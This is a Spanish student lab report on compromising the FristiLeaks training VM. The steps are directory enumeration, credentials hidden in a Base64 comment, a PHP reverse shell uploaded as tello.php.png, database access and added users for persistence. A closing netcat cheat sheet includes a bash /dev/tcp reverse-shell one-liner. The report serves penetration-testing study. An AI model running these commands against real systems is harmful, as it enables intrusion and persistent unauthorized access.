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Introducción 

 

En esta práctica trabajé con la máquina Fristileaks, un entorno vulnerable diseñado para 

reforzar el aprendizaje en seguridad informática y pruebas de penetración. El objetivo principal fue 

obtener acceso al sistema mediante técnicas de enumeración de directorios, análisis de 

vulnerabilidades y explotación web. 

Para llevar a cabo el proceso, utilicé distintas herramientas disponibles en Kali Linux, entre 

ellas dirb para descubrir rutas ocultas en el servidor web, Netcat para gestionar conexiones, y 

finalmente implementé una shell inversa en PHP que me permitió establecer comunicación remota 

con la máquina comprometida. 

Este laboratorio me permitió entender de manera práctica cómo un atacante puede avanzar 

paso a paso desde la exploración inicial de un sitio web hasta conseguir acceso interactivo en el 

sistema. Además, reforzó la importancia de mantener una correcta configuración y actualización en 

los servicios web, ya que fallos de seguridad aparentemente pequeños pueden abrir la puerta a un 

compromiso completo del sistema. 
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Objetivos Generales 

 

Analizar y explotar vulnerabilidades en el portal web de Fristileaks con el fin de 

obtener acceso remoto al sistema. 
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Objetivos Específicos 

 

• Explorar la máquina Fristileaks para identificar vulnerabilidades en 

servicios web. 

 

• Aplicar técnicas de enumeración, explotación y escalada básica. 

 

• Conseguir acceso a la máquina víctima mediante una shell inversa. 

 

• Crear nuevos usuarios dentro del sistema vulnerable para demostrar 

persistencia 
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1 INFORME 1 – PARCIAL # 2 

 

Importé el archivo Fristileaks.ova en VirtualBox. 

Cambié la configuración de red a NAT y verifiqué la dirección IP asignada: 

 

• Máquina víctima (Fristileaks): 192.192.192.14 

• Máquina atacante (Kali Linux): 192.192.192.4 

 

1.1 Importación Fristileaks 

 

La máquina víctima utilizada fue Fristileaks, con IP 192.192.192.14. 

La importé en VirtualBox desde un archivo .ova y la configuré con Red NAT. 

 

 
Ilustración 1 Importacion Fristileaks 
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1.2 Configuración Fristileaks 

 

 
Ilustración 2 Pantalla 

 

 
Ilustración 3 Desactivar caracteristicas extendidas 
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1.3 Dirección Mac anterior 

 

 
Ilustración 4 Red Direccion Mac anterior 

1.4 Dirección Mac nueva 

 

 
Ilustración 5 Red Direccion Mac nueva 
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1.5 Fristileaks IP: 192.192.192.14 
 

 
Ilustración 6 Inicio Fristileaks IP: 192.192.192.14 

1.6 Máquina virtual Kali Linux 

 

Escanea toda la red 192.192.192.0/24 (tu red local de laboratorio). 

Por cada máquina que encuentre activa, intentará identificar: 

 

• Los puertos abiertos. 

• Los servicios que corren en esos puertos. 

• Las versiones exactas de los servicios (cuando puede detectarlas). 
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1.7 Escaneo de toda la red 192.192.192.0/24 

 

 
Ilustración 7 Escaneo de toda la red 192.192.192.0/24 

Me dirigi al navegar y coloque lo siguiente: http://192.192.192.14 

 

 
Ilustración 8 Máquina atacante: Kali Linux, IP 192.192.192. 

http://192.192.192.14/
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1.8 View Selection Source 

 

Click derecho y seleccionamos View Selection Source  

 

 
 

 
Ilustración 9 View Selection Source 
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1.9 Enumeración de directorios 

 

Entramos a Consola Kali Linux ejecuté el siguiente Comando: dirb http://192.192.192.14 

 

Este comando lo ejecuté desde Kali Linux para hacer un escaneo de directorios 

ocultos en la página web de Fristileaks. El objetivo era descubrir rutas interesantes que no 

aparecen de forma visible en la página principal. 

Con este descubrí directorios como: 

• /images/ 

• /robots.txt/ 

• /cola/ 

• /beer/ 

• /fristi/ (este último contenía el portal de administración). 

 

 

 
Ilustración 10 dirb http://192.192.192.14 

 

dirb: Herramienta de fuerza bruta para descubrir directorios y archivos ocultos en servidores 

web. 

http://192.192.192.14: Dirección IP de la máquina víctima (Fristileaks). 

 

http://192.192.192.14/
http://192.192.192.14/
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Ilustración 11 http://192.192.192.14/cgi-bin/ 

 
Ilustración 12 directorios y archivos ocultos en servidores web 
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dirb: Herramienta de fuerza bruta para enumerar directorios y archivos ocultos. 

http://192.192.192.14: IP de la máquina víctima (Fristileaks). 

/usr/share/dirb/wordlists/small.txt: Diccionario más pequeño (959 palabras), utilizado para 

acelerar el escaneo en comparación con common.txt. 

 

 
 

 
Ilustración 13 http://192.192.192.14/Images 



18 

 

 

 

 
 

1.10 http://192.192.192.14/robots.txt 

 

 
Ilustración 14 http://192.192.192.14/robots.txt 

 

http://192.192.192.14/robots.txt
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1.11 http://192.192.192.14/cola/ 

 

 
Ilustración 15 http://192.192.192.14/cola/ 

1.12 http://192.192.192.14/sisi/ 

 

 
Ilustración 16 http://192.192.192.14/sisi 

http://192.192.192.14/cola/
http://192.192.192.14/sisi/
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1.13 http://192.192.192.14/beer/ 

 

 
Ilustración 17 http://192.192.192.14/beer/ 

 

1.14 Fristileack Admin Portal : http://192.192.192.14/fristi/ 

 
Ilustración 18  http://192.192.192.14/fristi/ 

http://192.192.192.14/beer/
http://192.192.192.14/beer/
http://192.192.192.14/fristi/
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Dentro de /fristi/ Hice clic derecho en la página e inspeccioné el código fuente (View Page 

Source).  

 

 
Ilustración 19 Clic derecho View Page Source 

 
Ilustración 20 Codigo View Page Source 
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Ilustración 21 Codigo View Page Source 

 
Ilustración 22 Comentario 
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Ahí encontré un comentario en Base64, esto lo hice porque muchas veces los 

desarrolladores dejan comentarios en el HTML que pueden dar pistas. En este caso, 

efectivamente encontré un texto en Base64, lo que me dio la idea de decodificarlo. 

 

1.15 Conversión de Base64 a PNG 

 

Copié el texto en Base64 y lo convertí a un archivo de imagen (.png) al hacerlo, la imagen 

reveló unas credenciales: 

 

 
Ilustración 23 Conversión de Base64 a PNG 
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Ilustración 24 Descarga de Base64 a PNG 

 
Ilustración 25 PNG  Descargado 
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1.16 Credenciales Conseguidas 

 

Usuario: eezeepz 

Contraseña: kekkekkekkekkEkkEk 

 

1.16.1 Usuario:  

eezeepz 

 

 
Ilustración 26 Usuario: eezeepz 

 

1.16.2 Contraseña:  

kekkekkekkekkEkkEk 

 

 
Ilustración 27 Contraseña: kekkekkekkekkEkkEk 

1.17 Login Fristileaks 

 

Ingresé al login de /fristi/ con esas credenciales y el acceso fue exitoso. 

 

 
Ilustración 28 Login Fristileaks 
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Ilustración 29 Login Successfull 

1.18 Creación y subida de webshell 

 

Entramos a la carpeta /usr/share/webshells, después a subcarpeta php y verificamos si existen 

archivos 

 

 
Ilustración 30 /usr/share/webshells 
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Copiamos archivo php-reverse-shell.php a Escritorio y verificamos que copio 

 

 
Ilustración 31 Copiamos archivo php-reverse-shell.php a Escritorio 

 

Copiamos archivo php-reverse-shell.php y Modificacion de nombre  

 

 
 

Entrar y Modificar tello.php.png 
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Cambiar IP a la de Kali Linux: 192.192.192.4 

 

 
Ilustración 32 Cambiar IP a la de Kali Linux: 192.192.192.4 

 

Nos dirigimos al login de Fristileaks 

 

 



29 

 

 

 

Cargamos el archivo php.png 

 

 
Ilustración 33 Cargamos el archivo tello.php.png 
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Ilustración 34 http://192.192.192.14/uploads 

 

1.19 Ejecución del Reverse Shell con Netcat 

 

Comando usado: nc -lvp 1234 

 

Con este comando abrí un listener en mi máquina atacante para esperar la conexión reversa. 

Cuando subí y ejecuté el archivo malicioso desde Fristileaks, recibí una shell en mi Kali con 

los privilegios del servidor. 

 

http://192.192.192.14/uploads
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Ilustración 35 nc -lvp 1234 
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Ilustración 36 http://192.192.192.14/fristi/uploads/tello.php.png 

1.20 nc -lvp 1234 ejecutando 

 

 
Ilustración 37 nc -lvp 1234 ejecutando 
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Ilustración 38 ifconfig 
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2 Creación de dos nuevos usuarios en Fristileaks 

 

2.1.1 Convertir la shell en una TTY interactiva: 

 

Para trabajar mejor dentro de la máquina con el siguiente comando: 

 

python -c 'import pty;pty.spawn("/bin/bash")' 

 

 
 

 

 

 

 

 

 

 

 

 

 

 



35 

 

 

2.1.2 Exploración de directorios: 

 

Navegué hasta el directorio web de la aplicación: 

 

cd var 

 
 

cd www 
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Cd html 

 

 
 

Cd fristi 
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2.1.3 Lectura de credenciales en código fuente 

 

Revisé el archivo y encontré los datos de acceso a MySQL: 

cat checklogin.php 

 

Credenciales descubiertas: 

• Usuario: eezeepz 

• Contraseña: 4ll3maal12# 

• Base de datos: hackmenow 
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2.1.4 Acceso a MySQL 

 

Usé las credenciales encontradas para entrar a MySQL: 

mysql -u eezeepz -p 

Ingresé la clave 4ll3maal12# y accedí con éxito. 

 

 
 

2.1.5 Explorar la base de datos 

 

Verifiqué las bases de datos disponibles: 

 

SHOW DATABASES; 

 

 
 

SHOW TABLES 
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La tabla members contenía los usuarios del portal. 

 

 
 

 

2.1.6 Verificar usuarios existentes 

 

Consulté los registros: 

SELECT * FROM members; 

 

 

 

 

2.1.7 Crear dos nuevos usuarios 

 

Inserté dos usuarios adicionales llamados camilo y tello: 

 

 
Ilustración 39 Usuario 1 

 

 
Ilustración 40 Usuario 2 



40 

 

 

2.1.8 Confirmar creación de usuarios 

 

Inserté dos usuarios adicionales llamados camilo y tello: 

 

 
 

2.1.9 Login con Usuario camilo 

 

 
Ilustración 41 Login con Usuario camilo 
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Ilustración 42 Login con Usuario camilo exitoso 

 

2.1.10 Login con Usuario tello 

 

 
Ilustración 43 Login con Usuario tello 
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Ilustración 44 Login con Usuario tello exitoso 
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3 Comando Para Calcular Cuantos Caracteres Tiene Un Archivo 

 

3.1 Usando wc (word count) 

 

wc -m nombre_archivo 

 

-m → cuenta caracteres. 

 

 
Ilustración 45 Comando para contar caracteres 

Significa que el archivo tiene 6561 caracteres 

 

3.2 Usando wc -c (cuenta bytes) 

 

 
Ilustración 46 Comando para contar bytes 

en archivos con caracteres especiales puede dar diferencia, porque -c cuenta bytes y no 

necesariamente caracteres. 
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4 Investigar Los Comandos Del NC 

 

4.1 Modo escucha (listener) 

Sirve para que una máquina espere conexiones entrantes en un puerto: 

 

nc -nlvp 4444 

 

• -n → evita resolución DNS (más rápido). 

• -l → modo listen (escuchar). 

• -v → verbose (modo detallado). 

• -p → puerto. 

Ejemplo: 

 

nc -nlvp 1234 

 

Escucha en el puerto 1234 esperando conexiones. 

 

4.2  Conexión a un puerto abierto (cliente) 

 

Conectarse a un servicio en un host: 

nc 192.168.1.10 1234 

 

Esto conecta al puerto 1234 de la máquina con IP 192.168.1.10. 

 

4.3 Enviar o recibir archivos 

 

Servidor (recibe el archivo): 

nc -nlvp 4444 > archivo_recibido.txt 

 

Cliente (envía el archivo): 

nc 192.168.1.10 4444 < archivo.txt 

 

4.4 Chat entre dos máquinas 

 

En una máquina: 

nc -nlvp 5555 

 

En la otra máquina: 

nc IP_del_servidor 5555 

 

Ahora se pueden enviar mensajes entre ambas. 
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4.5 Reverse Shell (muy usado en pentesting) 

 

En tu atacante (Kali): 

nc -nlvp 4444 

 

En la víctima: 

/bin/bash -i > /dev/tcp/192.168.1.5/4444 0<&1 2>&1 

 

Obtienes una shell remota. 

 

4.6 Port Scanning (escaneo rápido) 

 

nc -zv 192.168.1.10 20-80 

 

• -z → modo scan (sin enviar datos). 

• -v → verbose. 

• Escanea puertos del 20 al 80. 

 

Resumen 

 

• nc -nlvp 4444 → escuchar conexiones. 

• nc IP PUERTO → conectarse. 

• nc -zv IP 1-1000 → escaneo de puertos. 

• nc -nlvp 4444 > file / < file → transferencia de archivos. 

• Reverse shell con nc → acceso remoto. 
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5 Conclusión 

 

Este laboratorio me permitió afianzar mis conocimientos en pruebas de penetración y 

entender cómo a partir de fallos pequeños en un sistema se puede llegar a comprometerlo por 

completo. Más allá de las herramientas utilizadas, lo más importante fue comprender la lógica 

de un ataque: enumerar, analizar, explotar y mantener acceso. La práctica también me ayudó 

a valorar la importancia de la seguridad en servidores web y bases de datos, ya que muchas 

veces la falta de protección adecuada deja expuesta información crítica. Considero que la 

experiencia fue muy enriquecedora porque me dio una visión más real de cómo se aplican en 

la práctica los conceptos de ciberseguridad vistos en clase. 
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